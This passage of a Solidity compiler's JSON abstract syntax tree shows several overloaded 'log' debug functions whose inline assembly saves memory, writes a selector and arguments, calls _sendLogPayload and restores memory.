"expression":{"arguments":[{"kind":"number","nativeSrc":"228924:5:22","nodeType":"YulLiteral","src":"228924:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"228931:2:22","nodeType":"YulIdentifier","src":"228931:2:22"}],"functionName":{"name":"writeString","nativeSrc":"228912:11:22","nodeType":"YulIdentifier","src":"228912:11:22"},"nativeSrc":"228912:22:22","nodeType":"YulFunctionCall","src":"228912:22:22"},"nativeSrc":"228912:22:22","nodeType":"YulExpressionStatement","src":"228912:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41234,"isOffset":false,"isSlot":false,"src":"228289:2:22","valueSize":1},{"declaration":41237,"isOffset":false,"isSlot":false,"src":"228319:2:22","valueSize":1},{"declaration":41264,"isOffset":false,"isSlot":false,"src":"228591:3:22","valueSize":1},{"declaration":41240,"isOffset":false,"isSlot":false,"src":"228349:2:22","valueSize":1},{"declaration":41243,"isOffset":false,"isSlot":false,"src":"228379:2:22","valueSize":1},{"declaration":41246,"isOffset":false,"isSlot":false,"src":"228409:2:22","valueSize":1},{"declaration":41249,"isOffset":false,"isSlot":false,"src":"228439:2:22","valueSize":1},{"declaration":41252,"isOffset":false,"isSlot":false,"src":"228469:2:22","valueSize":1},{"declaration":41255,"isOffset":false,"isSlot":false,"src":"228499:2:22","valueSize":1},{"declaration":41258,"isOffset":false,"isSlot":false,"src":"228529:2:22","valueSize":1},{"declaration":41261,"isOffset":false,"isSlot":false,"src":"228560:2:22","valueSize":1},{"declaration":41224,"isOffset":false,"isSlot":false,"src":"228734:2:22","valueSize":1},{"declaration":41226,"isOffset":false,"isSlot":false,"src":"228862:2:22","valueSize":1},{"declaration":41228,"isOffset":false,"isSlot":false,"src":"228896:2:22","valueSize":1},{"declaration":41230,"isOffset":false,"isSlot":false,"src":"228931:2:22","valueSize":1}],"id":41266,"nodeType":"InlineAssembly","src":"227911:1033:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"228969:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":41269,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"228975:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":41267,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"228953:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"228953:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41271,"nodeType":"ExpressionStatement","src":"228953:28:22"},{"AST":{"nativeSrc":"229000:334:22","nodeType":"YulBlock","src":"229000:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"229021:4:22","nodeType":"YulLiteral","src":"229021:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"229027:2:22","nodeType":"YulIdentifier","src":"229027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229014:6:22","nodeType":"YulIdentifier","src":"229014:6:22"},"nativeSrc":"229014:16:22","nodeType":"YulFunctionCall","src":"229014:16:22"},"nativeSrc":"229014:16:22","nodeType":"YulExpressionStatement","src":"229014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229050:4:22","nodeType":"YulLiteral","src":"229050:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"229056:2:22","nodeType":"YulIdentifier","src":"229056:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229043:6:22","nodeType":"YulIdentifier","src":"229043:6:22"},"nativeSrc":"229043:16:22","nodeType":"YulFunctionCall","src":"229043:16:22"},"nativeSrc":"229043:16:22","nodeType":"YulExpressionStatement","src":"229043:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229079:4:22","nodeType":"YulLiteral","src":"229079:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"229085:2:22","nodeType":"YulIdentifier","src":"229085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229072:6:22","nodeType":"YulIdentifier","src":"229072:6:22"},"nativeSrc":"229072:16:22","nodeType":"YulFunctionCall","src":"229072:16:22"},"nativeSrc":"229072:16:22","nodeType":"YulExpressionStatement","src":"229072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229108:4:22","nodeType":"YulLiteral","src":"229108:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"229114:2:22","nodeType":"YulIdentifier","src":"229114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229101:6:22","nodeType":"YulIdentifier","src":"229101:6:22"},"nativeSrc":"229101:16:22","nodeType":"YulFunctionCall","src":"229101:16:22"},"nativeSrc":"229101:16:22","nodeType":"YulExpressionStatement","src":"229101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229137:4:22","nodeType":"YulLiteral","src":"229137:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"229143:2:22","nodeType":"YulIdentifier","src":"229143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229130:6:22","nodeType":"YulIdentifier","src":"229130:6:22"},"nativeSrc":"229130:16:22","nodeType":"YulFunctionCall","src":"229130:16:22"},"nativeSrc":"229130:16:22","nodeType":"YulExpressionStatement","src":"229130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229166:4:22","nodeType":"YulLiteral","src":"229166:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"229172:2:22","nodeType":"YulIdentifier","src":"229172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229159:6:22","nodeType":"YulIdentifier","src":"229159:6:22"},"nativeSrc":"229159:16:22","nodeType":"YulFunctionCall","src":"229159:16:22"},"nativeSrc":"229159:16:22","nodeType":"YulExpressionStatement","src":"229159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229195:4:22","nodeType":"YulLiteral","src":"229195:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"229201:2:22","nodeType":"YulIdentifier","src":"229201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229188:6:22","nodeType":"YulIdentifier","src":"229188:6:22"},"nativeSrc":"229188:16:22","nodeType":"YulFunctionCall","src":"229188:16:22"},"nativeSrc":"229188:16:22","nodeType":"YulExpressionStatement","src":"229188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229224:4:22","nodeType":"YulLiteral","src":"229224:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"229230:2:22","nodeType":"YulIdentifier","src":"229230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229217:6:22","nodeType":"YulIdentifier","src":"229217:6:22"},"nativeSrc":"229217:16:22","nodeType":"YulFunctionCall","src":"229217:16:22"},"nativeSrc":"229217:16:22","nodeType":"YulExpressionStatement","src":"229217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229253:5:22","nodeType":"YulLiteral","src":"229253:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"229260:2:22","nodeType":"YulIdentifier","src":"229260:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229246:6:22","nodeType":"YulIdentifier","src":"229246:6:22"},"nativeSrc":"229246:17:22","nodeType":"YulFunctionCall","src":"229246:17:22"},"nativeSrc":"229246:17:22","nodeType":"YulExpressionStatement","src":"229246:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229283:5:22","nodeType":"YulLiteral","src":"229283:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"229290:2:22","nodeType":"YulIdentifier","src":"229290:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229276:6:22","nodeType":"YulIdentifier","src":"229276:6:22"},"nativeSrc":"229276:17:22","nodeType":"YulFunctionCall","src":"229276:17:22"},"nativeSrc":"229276:17:22","nodeType":"YulExpressionStatement","src":"229276:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229313:5:22","nodeType":"YulLiteral","src":"229313:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"229320:3:22","nodeType":"YulIdentifier","src":"229320:3:22"}],"functionName":{"name":"mstore","nativeSrc":"229306:6:22","nodeType":"YulIdentifier","src":"229306:6:22"},"nativeSrc":"229306:18:22","nodeType":"YulFunctionCall","src":"229306:18:22"},"nativeSrc":"229306:18:22","nodeType":"YulExpressionStatement","src":"229306:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41234,"isOffset":false,"isSlot":false,"src":"229027:2:22","valueSize":1},{"declaration":41237,"isOffset":false,"isSlot":false,"src":"229056:2:22","valueSize":1},{"declaration":41264,"isOffset":false,"isSlot":false,"src":"229320:3:22","valueSize":1},{"declaration":41240,"isOffset":false,"isSlot":false,"src":"229085:2:22","valueSize":1},{"declaration":41243,"isOffset":false,"isSlot":false,"src":"229114:2:22","valueSize":1},{"declaration":41246,"isOffset":false,"isSlot":false,"src":"229143:2:22","valueSize":1},{"declaration":41249,"isOffset":false,"isSlot":false,"src":"229172:2:22","valueSize":1},{"declaration":41252,"isOffset":false,"isSlot":false,"src":"229201:2:22","valueSize":1},{"declaration":41255,"isOffset":false,"isSlot":false,"src":"229230:2:22","valueSize":1},{"declaration":41258,"isOffset":false,"isSlot":false,"src":"229260:2:22","valueSize":1},{"declaration":41261,"isOffset":false,"isSlot":false,"src":"229290:2:22","valueSize":1}],"id":41272,"nodeType":"InlineAssembly","src":"228991:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"227617:3:22","parameters":{"id":41231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41224,"mutability":"mutable","name":"p0","nameLocation":"227626:2:22","nodeType":"VariableDeclaration","scope":41274,"src":"227621:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41223,"name":"bool","nodeType":"ElementaryTypeName","src":"227621:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41226,"mutability":"mutable","name":"p1","nameLocation":"227638:2:22","nodeType":"VariableDeclaration","scope":41274,"src":"227630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41225,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41228,"mutability":"mutable","name":"p2","nameLocation":"227650:2:22","nodeType":"VariableDeclaration","scope":41274,"src":"227642:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41227,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227642:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41230,"mutability":"mutable","name":"p3","nameLocation":"227662:2:22","nodeType":"VariableDeclaration","scope":41274,"src":"227654:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41229,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227654:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"227620:45:22"},"returnParameters":{"id":41232,"nodeType":"ParameterList","parameters":[],"src":"227680:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41308,"nodeType":"FunctionDefinition","src":"229346:792:22","nodes":[],"body":{"id":41307,"nodeType":"Block","src":"229421:717:22","nodes":[],"statements":[{"assignments":[41286],"declarations":[{"constant":false,"id":41286,"mutability":"mutable","name":"m0","nameLocation":"229439:2:22","nodeType":"VariableDeclaration","scope":41307,"src":"229431:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41285,"name":"bytes32","nodeType":"ElementaryTypeName","src":"229431:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41287,"nodeType":"VariableDeclarationStatement","src":"229431:10:22"},{"assignments":[41289],"declarations":[{"constant":false,"id":41289,"mutability":"mutable","name":"m1","nameLocation":"229459:2:22","nodeType":"VariableDeclaration","scope":41307,"src":"229451:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41288,"name":"bytes32","nodeType":"ElementaryTypeName","src":"229451:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41290,"nodeType":"VariableDeclarationStatement","src":"229451:10:22"},{"assignments":[41292],"declarations":[{"constant":false,"id":41292,"mutability":"mutable","name":"m2","nameLocation":"229479:2:22","nodeType":"VariableDeclaration","scope":41307,"src":"229471:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41291,"name":"bytes32","nodeType":"ElementaryTypeName","src":"229471:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41293,"nodeType":"VariableDeclarationStatement","src":"229471:10:22"},{"assignments":[41295],"declarations":[{"constant":false,"id":41295,"mutability":"mutable","name":"m3","nameLocation":"229499:2:22","nodeType":"VariableDeclaration","scope":41307,"src":"229491:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41294,"name":"bytes32","nodeType":"ElementaryTypeName","src":"229491:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41296,"nodeType":"VariableDeclarationStatement","src":"229491:10:22"},{"assignments":[41298],"declarations":[{"constant":false,"id":41298,"mutability":"mutable","name":"m4","nameLocation":"229519:2:22","nodeType":"VariableDeclaration","scope":41307,"src":"229511:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41297,"name":"bytes32","nodeType":"ElementaryTypeName","src":"229511:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41299,"nodeType":"VariableDeclarationStatement","src":"229511:10:22"},{"AST":{"nativeSrc":"229540:381:22","nodeType":"YulBlock","src":"229540:381:22","statements":[{"nativeSrc":"229554:17:22","nodeType":"YulAssignment","src":"229554:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"229566:4:22","nodeType":"YulLiteral","src":"229566:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"229560:5:22","nodeType":"YulIdentifier","src":"229560:5:22"},"nativeSrc":"229560:11:22","nodeType":"YulFunctionCall","src":"229560:11:22"},"variableNames":[{"name":"m0","nativeSrc":"229554:2:22","nodeType":"YulIdentifier","src":"229554:2:22"}]},{"nativeSrc":"229584:17:22","nodeType":"YulAssignment","src":"229584:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"229596:4:22","nodeType":"YulLiteral","src":"229596:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"229590:5:22","nodeType":"YulIdentifier","src":"229590:5:22"},"nativeSrc":"229590:11:22","nodeType":"YulFunctionCall","src":"229590:11:22"},"variableNames":[{"name":"m1","nativeSrc":"229584:2:22","nodeType":"YulIdentifier","src":"229584:2:22"}]},{"nativeSrc":"229614:17:22","nodeType":"YulAssignment","src":"229614:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"229626:4:22","nodeType":"YulLiteral","src":"229626:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"229620:5:22","nodeType":"YulIdentifier","src":"229620:5:22"},"nativeSrc":"229620:11:22","nodeType":"YulFunctionCall","src":"229620:11:22"},"variableNames":[{"name":"m2","nativeSrc":"229614:2:22","nodeType":"YulIdentifier","src":"229614:2:22"}]},{"nativeSrc":"229644:17:22","nodeType":"YulAssignment","src":"229644:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"229656:4:22","nodeType":"YulLiteral","src":"229656:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"229650:5:22","nodeType":"YulIdentifier","src":"229650:5:22"},"nativeSrc":"229650:11:22","nodeType":"YulFunctionCall","src":"229650:11:22"},"variableNames":[{"name":"m3","nativeSrc":"229644:2:22","nodeType":"YulIdentifier","src":"229644:2:22"}]},{"nativeSrc":"229674:17:22","nodeType":"YulAssignment","src":"229674:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"229686:4:22","nodeType":"YulLiteral","src":"229686:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"229680:5:22","nodeType":"YulIdentifier","src":"229680:5:22"},"nativeSrc":"229680:11:22","nodeType":"YulFunctionCall","src":"229680:11:22"},"variableNames":[{"name":"m4","nativeSrc":"229674:2:22","nodeType":"YulIdentifier","src":"229674:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229778:4:22","nodeType":"YulLiteral","src":"229778:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"229784:10:22","nodeType":"YulLiteral","src":"229784:10:22","type":"","value":"0x2488b414"}],"functionName":{"name":"mstore","nativeSrc":"229771:6:22","nodeType":"YulIdentifier","src":"229771:6:22"},"nativeSrc":"229771:24:22","nodeType":"YulFunctionCall","src":"229771:24:22"},"nativeSrc":"229771:24:22","nodeType":"YulExpressionStatement","src":"229771:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229815:4:22","nodeType":"YulLiteral","src":"229815:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"229821:2:22","nodeType":"YulIdentifier","src":"229821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229808:6:22","nodeType":"YulIdentifier","src":"229808:6:22"},"nativeSrc":"229808:16:22","nodeType":"YulFunctionCall","src":"229808:16:22"},"nativeSrc":"229808:16:22","nodeType":"YulExpressionStatement","src":"229808:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229844:4:22","nodeType":"YulLiteral","src":"229844:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"229850:2:22","nodeType":"YulIdentifier","src":"229850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229837:6:22","nodeType":"YulIdentifier","src":"229837:6:22"},"nativeSrc":"229837:16:22","nodeType":"YulFunctionCall","src":"229837:16:22"},"nativeSrc":"229837:16:22","nodeType":"YulExpressionStatement","src":"229837:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229873:4:22","nodeType":"YulLiteral","src":"229873:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"229879:2:22","nodeType":"YulIdentifier","src":"229879:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229866:6:22","nodeType":"YulIdentifier","src":"229866:6:22"},"nativeSrc":"229866:16:22","nodeType":"YulFunctionCall","src":"229866:16:22"},"nativeSrc":"229866:16:22","nodeType":"YulExpressionStatement","src":"229866:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"229902:4:22","nodeType":"YulLiteral","src":"229902:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"229908:2:22","nodeType":"YulIdentifier","src":"229908:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229895:6:22","nodeType":"YulIdentifier","src":"229895:6:22"},"nativeSrc":"229895:16:22","nodeType":"YulFunctionCall","src":"229895:16:22"},"nativeSrc":"229895:16:22","nodeType":"YulExpressionStatement","src":"229895:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41286,"isOffset":false,"isSlot":false,"src":"229554:2:22","valueSize":1},{"declaration":41289,"isOffset":false,"isSlot":false,"src":"229584:2:22","valueSize":1},{"declaration":41292,"isOffset":false,"isSlot":false,"src":"229614:2:22","valueSize":1},{"declaration":41295,"isOffset":false,"isSlot":false,"src":"229644:2:22","valueSize":1},{"declaration":41298,"isOffset":false,"isSlot":false,"src":"229674:2:22","valueSize":1},{"declaration":41276,"isOffset":false,"isSlot":false,"src":"229821:2:22","valueSize":1},{"declaration":41278,"isOffset":false,"isSlot":false,"src":"229850:2:22","valueSize":1},{"declaration":41280,"isOffset":false,"isSlot":false,"src":"229879:2:22","valueSize":1},{"declaration":41282,"isOffset":false,"isSlot":false,"src":"229908:2:22","valueSize":1}],"id":41300,"nodeType":"InlineAssembly","src":"229531:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41302,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"229946:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41303,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"229952:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41301,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"229930:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"229930:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41305,"nodeType":"ExpressionStatement","src":"229930:27:22"},{"AST":{"nativeSrc":"229976:156:22","nodeType":"YulBlock","src":"229976:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"229997:4:22","nodeType":"YulLiteral","src":"229997:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"230003:2:22","nodeType":"YulIdentifier","src":"230003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"229990:6:22","nodeType":"YulIdentifier","src":"229990:6:22"},"nativeSrc":"229990:16:22","nodeType":"YulFunctionCall","src":"229990:16:22"},"nativeSrc":"229990:16:22","nodeType":"YulExpressionStatement","src":"229990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230026:4:22","nodeType":"YulLiteral","src":"230026:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"230032:2:22","nodeType":"YulIdentifier","src":"230032:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230019:6:22","nodeType":"YulIdentifier","src":"230019:6:22"},"nativeSrc":"230019:16:22","nodeType":"YulFunctionCall","src":"230019:16:22"},"nativeSrc":"230019:16:22","nodeType":"YulExpressionStatement","src":"230019:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230055:4:22","nodeType":"YulLiteral","src":"230055:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"230061:2:22","nodeType":"YulIdentifier","src":"230061:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230048:6:22","nodeType":"YulIdentifier","src":"230048:6:22"},"nativeSrc":"230048:16:22","nodeType":"YulFunctionCall","src":"230048:16:22"},"nativeSrc":"230048:16:22","nodeType":"YulExpressionStatement","src":"230048:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230084:4:22","nodeType":"YulLiteral","src":"230084:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"230090:2:22","nodeType":"YulIdentifier","src":"230090:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230077:6:22","nodeType":"YulIdentifier","src":"230077:6:22"},"nativeSrc":"230077:16:22","nodeType":"YulFunctionCall","src":"230077:16:22"},"nativeSrc":"230077:16:22","nodeType":"YulExpressionStatement","src":"230077:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230113:4:22","nodeType":"YulLiteral","src":"230113:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"230119:2:22","nodeType":"YulIdentifier","src":"230119:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230106:6:22","nodeType":"YulIdentifier","src":"230106:6:22"},"nativeSrc":"230106:16:22","nodeType":"YulFunctionCall","src":"230106:16:22"},"nativeSrc":"230106:16:22","nodeType":"YulExpressionStatement","src":"230106:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41286,"isOffset":false,"isSlot":false,"src":"230003:2:22","valueSize":1},{"declaration":41289,"isOffset":false,"isSlot":false,"src":"230032:2:22","valueSize":1},{"declaration":41292,"isOffset":false,"isSlot":false,"src":"230061:2:22","valueSize":1},{"declaration":41295,"isOffset":false,"isSlot":false,"src":"230090:2:22","valueSize":1},{"declaration":41298,"isOffset":false,"isSlot":false,"src":"230119:2:22","valueSize":1}],"id":41306,"nodeType":"InlineAssembly","src":"229967:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"229355:3:22","parameters":{"id":41283,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41276,"mutability":"mutable","name":"p0","nameLocation":"229367:2:22","nodeType":"VariableDeclaration","scope":41308,"src":"229359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41275,"name":"uint256","nodeType":"ElementaryTypeName","src":"229359:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41278,"mutability":"mutable","name":"p1","nameLocation":"229379:2:22","nodeType":"VariableDeclaration","scope":41308,"src":"229371:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41277,"name":"address","nodeType":"ElementaryTypeName","src":"229371:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41280,"mutability":"mutable","name":"p2","nameLocation":"229391:2:22","nodeType":"VariableDeclaration","scope":41308,"src":"229383:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41279,"name":"address","nodeType":"ElementaryTypeName","src":"229383:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41282,"mutability":"mutable","name":"p3","nameLocation":"229403:2:22","nodeType":"VariableDeclaration","scope":41308,"src":"229395:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41281,"name":"address","nodeType":"ElementaryTypeName","src":"229395:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"229358:48:22"},"returnParameters":{"id":41284,"nodeType":"ParameterList","parameters":[],"src":"229421:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41342,"nodeType":"FunctionDefinition","src":"230144:786:22","nodes":[],"body":{"id":41341,"nodeType":"Block","src":"230216:714:22","nodes":[],"statements":[{"assignments":[41320],"declarations":[{"constant":false,"id":41320,"mutability":"mutable","name":"m0","nameLocation":"230234:2:22","nodeType":"VariableDeclaration","scope":41341,"src":"230226:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41319,"name":"bytes32","nodeType":"ElementaryTypeName","src":"230226:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41321,"nodeType":"VariableDeclarationStatement","src":"230226:10:22"},{"assignments":[41323],"declarations":[{"constant":false,"id":41323,"mutability":"mutable","name":"m1","nameLocation":"230254:2:22","nodeType":"VariableDeclaration","scope":41341,"src":"230246:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41322,"name":"bytes32","nodeType":"ElementaryTypeName","src":"230246:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41324,"nodeType":"VariableDeclarationStatement","src":"230246:10:22"},{"assignments":[41326],"declarations":[{"constant":false,"id":41326,"mutability":"mutable","name":"m2","nameLocation":"230274:2:22","nodeType":"VariableDeclaration","scope":41341,"src":"230266:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41325,"name":"bytes32","nodeType":"ElementaryTypeName","src":"230266:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41327,"nodeType":"VariableDeclarationStatement","src":"230266:10:22"},{"assignments":[41329],"declarations":[{"constant":false,"id":41329,"mutability":"mutable","name":"m3","nameLocation":"230294:2:22","nodeType":"VariableDeclaration","scope":41341,"src":"230286:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{